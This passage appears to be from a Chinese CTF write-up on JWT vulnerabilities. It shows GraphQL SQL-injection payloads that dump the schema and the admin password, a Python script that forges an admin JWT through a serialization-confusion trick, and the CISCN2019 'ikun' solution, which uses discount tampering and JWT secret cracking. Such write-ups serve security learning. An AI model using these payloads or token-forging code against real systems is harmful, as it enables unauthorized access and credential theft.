token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')

print(token)
接下来想到我们抓的包的文件名是graphql，而且还有POST参数，可能存在graphql注入。

https://www.leavesongs.com/content/files/slides/GraphQL.pdf

而后使用 getscoreusingnamehahaha 方法查询表结构。
代码语言：javascript
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{"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name  } }"""}
返回结果如下
代码语言：javascript
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CREATE TABLE users(

ID INTEGER PRIMARY KEY,

NAME TEXT NOT NULL,

PASSWORD TEXT NOT NULL,

SCORE TEXT NOT Null

)
因此可以用这个来查询admin用户成绩，构造最终payload如下。
代码语言：javascript
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import json

from jwcrypto.common import base64url_decode, base64url_encode

import httpx
session = httpx.Client(base_url="http://eci-2zeavdwsk859vkrseg75.cloudeci1.ichunqiu.com/")

session.post("/signin", json={

"username": "test",

"password": "111"

}

)

_ = session.cookies.get("token")

[header, payload, signature] = _.split('.')

parsed_payload = json.loads(base64url_decode(payload))

parsed_payload['is_admin'] = 1

fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':'))))

forged_jwt = '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

session.cookies.delete("token")

session.cookies.set("token", forged_jwt)
data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name  } }"""}

response = session.post("/graphql", data=data)

print(response.text)
得到密码后去登录即可得到flag
[CISCN2019 华北赛区 Day1 Web2]ikun
进入后发现有登录和注册界面，常规操作先注册后登录
在这里插入图片描述

提示要买到lv6，下划后发现可以买等级
在这里插入图片描述

这里没有lv6，点击下一页看看
仍然没有找到lv6，但发现参数是GET型传参
在这里插入图片描述

这意味着我们可以写个小脚本来查找lv6所在位置
发现lv3对应的代码是lv3.png，那么lv6对应的就是lv6.png
在这里插入图片描述

脚本如下
代码语言：javascript
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import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
    res = requests.get(url+str(i))
    time.sleep(0.5)
    if "lv6.png" in res.text:
        print(i)
        break
在这里插入图片描述

181页，找到后发现价格是天价，买不起
在这里插入图片描述

这里抓包看一下
在这里插入图片描述

发现可以修改折扣，把这个discount修改为0.00000000000001然后发包
在这里插入图片描述

跳转到了另一个界面但无权限访问
再抓包
在这里插入图片描述

发现JWT，解码一下（解码网站https://jwt.io/）
在这里插入图片描述

我们这里想实现修改root为admin，需要有密钥，爆破密钥可以用工具c-jwt-cracker得到，链接如下
https://github.com/brendan-rius/c-jwt-cracker
破解后得到密钥为1Kun
在这里插入图片描述

抓包，将得到的值赋给JWT，再发包
接下来就是读取源码，然后进行Python反序列化获取最终flag，这里不再演示。
后言
JWT的靶场有很多个，我这里也只是利用了CTFhub和portswig等来进行演示，还有一些靶场例如
https://jwt-lab.herokuapp.com/challenges
也是比较好的，但鉴于考察点相似，这里不再演示，有兴趣的师傅可以自行尝试。
然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解，大家也可以看一下哇，视频链接如下
https://www.bilibili.com/video/BV15d4y1F7i3
最后的话本人也只是一个小白，如果有问题还请各位大师傅多多指教。